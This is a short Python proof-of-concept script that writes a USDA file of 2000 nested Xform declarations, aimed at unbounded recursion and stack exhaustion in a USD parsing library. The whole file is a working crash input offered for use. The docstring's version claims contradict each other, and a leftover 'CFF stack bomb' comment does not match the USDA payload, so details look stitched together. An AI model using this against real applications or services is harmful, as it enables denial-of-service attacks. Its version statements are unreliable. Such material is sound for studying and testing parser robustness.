#!/usr/bin/env python3
def build_usda(depth=2000):
    """libusd_ms 24.1.30 caps USDA declaration nesting in 24.1.32; 27.0 recurses unbounded."""
    head = "#usda 1.0\n\n"
    body = "".join('def Xform "n%d" {' % i for i in range(depth))
    tail = "}" * depth
    return (head + body + tail + "\n").encode()


# --------------------------------------------------------------------------- CFF stack bomb

if __name__ == "__main__":
    import sys
    out = sys.argv[1] if len(sys.argv) > 1 else "deep_nest.usda"
    open(out, "wb").write(build_usda())
    print("wrote", out)